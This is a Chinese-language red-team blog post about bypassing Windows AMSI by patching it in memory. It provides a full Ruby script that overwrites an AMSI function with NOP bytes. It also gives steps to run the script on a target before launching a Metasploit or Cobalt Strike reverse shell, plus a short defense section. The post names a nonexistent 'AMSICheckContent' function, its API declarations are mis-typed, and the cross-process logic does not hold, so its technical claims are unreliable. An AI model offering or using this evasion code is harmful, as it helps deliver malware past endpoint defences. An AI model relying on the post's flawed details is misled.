一、从一次红队渗透中的“卡点”谈起

在一次针对企业内网的授权渗透测试中,我的目标是通过钓鱼邮件植入恶意载荷后,从终端获取初始访问权限并进一步横向扩展。然而,目标环境的防护体系非常严密,微软的反恶意软件扫描接口(AMSI,Antimalware Scan Interface)在检测恶意脚本方面异常敏感。我的恶意代码在终端运行后被 AMSI 拦截,导致后续的加载链被中止。

这是一个红队渗透中非常典型的“卡点”:如何绕过 AMSI 的扫描?绕过 AMSI 的方法很多,但在这篇文章中,我们将专注于一种较为隐蔽且通用的方式,通过 Ruby 与 Shell 脚本实现 AMSI 绕过,并分享完整的技术细节。

本文仅限合法授权的安全测试使用,严禁用于非法用途。

---

二、AMSI的核心原理与挑战

黑客示意图

AMSI是什么?

AMSI 是微软为提升恶意代码检测而引入的一种接口,能够对脚本、宏等动态内容进行实时扫描。它的工作方式是在代码执行前,将内容传递给注册的反病毒引擎进行分析。一旦检测到恶意内容,AMSICheckContent 函数会返回结果来决定是否拦截。

具体来说,AMSICheckContent 是一个核心函数,位于 amsi.dll 中。其作用是在脚本执行时拦截代码并交给安全软件扫描。对于攻击者来说,AMSICheckContent 是绕过的重点。

绕过AMS的常见方法

  1. 直接修改 amsi.dll 内存内容:通过内存补丁篡改 AMSICheckContent 的返回值。
  2. 修改注册表禁用 AMSI:直接禁用 AMSI 功能(不推荐,容易暴露)。
  3. 加载干净实例绕过:通过动态加载干净的 PowerShell 实例实现规避。

在这里,我们选择一种更隐蔽的方法:直接在运行环境中用代码动态修改 AMSICheckContent 的返回值,从而实现绕过。

---

三、Payload构造的艺术

为了绕过 AMSI,我们需要构造一个 Ruby 脚本,利用 Windows API 对 AMSICheckContent 函数进行内存补丁操作。以下是完整的 Ruby 代码:

<pre><code class="language-ruby">require &#039;fiddle&#039; require &#039;fiddle/import&#039;

加载 Windows API 模块

module Kernel32 extend Fiddle::Importer dlload &#039;kernel32.dll&#039;

extern &#039;void GetModuleHandleA(char)&#039; extern &#039;void GetProcAddress(void, char)&#039; extern &#039;int WriteProcessMemory(void, void, void, int, void)&#039; extern &#039;void OpenProcess(int, int, int)&#039; end

黑客示意图

加载 amsi.dll 并获取 AMSICheckContent 函数地址

amsi_handle = Kernel32.GetModuleHandleA(&#039;amsi.dll&#039;) amsi_func = Kernel32.GetProcAddress(amsi_handle, &#039;AMSICheckContent&#039;)

修改 AMSICheckContent 的内存内容(NOP指令覆盖)

nop_sled = &quot;\x90&quot; * 6 # 6个无操作指令 process_handle = Kernel32.OpenProcess(0x1F0FFF, 0, Process.pid) Kernel32.WriteProcessMemory(process_handle, amsi_func, nop_sled, nop_sled.size, nil)

puts &quot;[+] AMSI 绕过成功,现在可以执行恶意代码了!&quot;</code></pre>

代码分析

  1. 模块导入
  2. 我们首先通过 Fiddle 引入 Windows API 接口,包括 GetModuleHandleAGetProcAddressWriteProcessMemory 等。这些函数是修改内存的关键。

  1. 定位 AMSICheckContent 函数
  2. 利用 GetModuleHandleAGetProcAddress 获取 AMSI DLL 的基地址和目标函数的地址。

  1. NOP 指令填充
  2. 构造 6 个无操作指令(\x90),覆盖 AMSICheckContent 函数的内容,使其失效。

  1. 写入补丁
  2. 使用 WriteProcessMemory 将 NOP 指令写入 AMSICheckContent 的内存地址,完成对函数逻辑的篡改。

---

四、实战环境搭建

黑客示意图

为了验证 AMSI 绕过的效果,我们需要搭建一个测试环境:

环境需求

  • 攻击机:Kali Linux 或者任意安装了 Ruby 的 Linux 发行版。
  • 目标机:Windows 10(确保 AMSI 功能启用)。
  • 权限要求:目标进程需要管理员权限,否则无法修改内存内容。

测试步骤

  1. 在攻击机中准备恶意载荷
  2. 使用 Metasploit 或 Cobalt Strike 生成一个反向 Shell 的恶意载荷。

  1. 在目标机运行 Ruby 绕过脚本
  2. 将上述 Ruby 代码保存为 amsi_bypass.rb,并在目标机上运行。 `shell ruby amsi_bypass.rb `

  1. 执行恶意代码
  2. 在绕过 AMSI 后,通过 PowerShell 或其他方式运行恶意载荷,验证绕过效果。

---

五、检测与防御

绕过的检测方法

  1. 内存扫描
  2. 使用 Volatility 工具扫描内存,检查 AMSICheckContent 函数是否被篡改。

  1. 行为分析
  2. 监测目标进程的行为,例如是否加载异常模块或频繁修改内存。

  1. 日志审计
  2. 检查 Windows Event Log,注意 AMSI 错误和其他异常行为。

防御策略

  1. 启用 ASR(攻击面减少规则)
  2. 配置 Windows Defender 的 ASR 规则,限制对内存的修改。

  1. 代码签名验证
  2. 对所有运行的脚本和二进制文件进行签名验证。

  1. 行为分析工具
  2. 部署 EDR 工具,例如 CrowdStrike 或 SentinelOne,实时检测内存修改行为。

---

六、个人经验分享

在实际渗透中,AMSICheckContent 绕过只是第一步,后续还会遇到各种对抗技术。例如,EDR 会分析目标进程的行为,沙箱环境可能会自动冻结可疑活动。因此,绕过 AMSI 的代码不仅要隐蔽,还要确保后续载荷的无文件化运行。

我的建议是将绕过技术与其他免杀技术结合,例如动态加密、内存加载等,以提升对抗能力。同时,永远记住授权测试的边界,合法合规是红队行动的底线。

最后,一个成功的红队测试不仅仅是技术层面的突破,更重要的是对目标环境的全面理解与策略设计。希望这篇文章能为你的渗透测试提供帮助。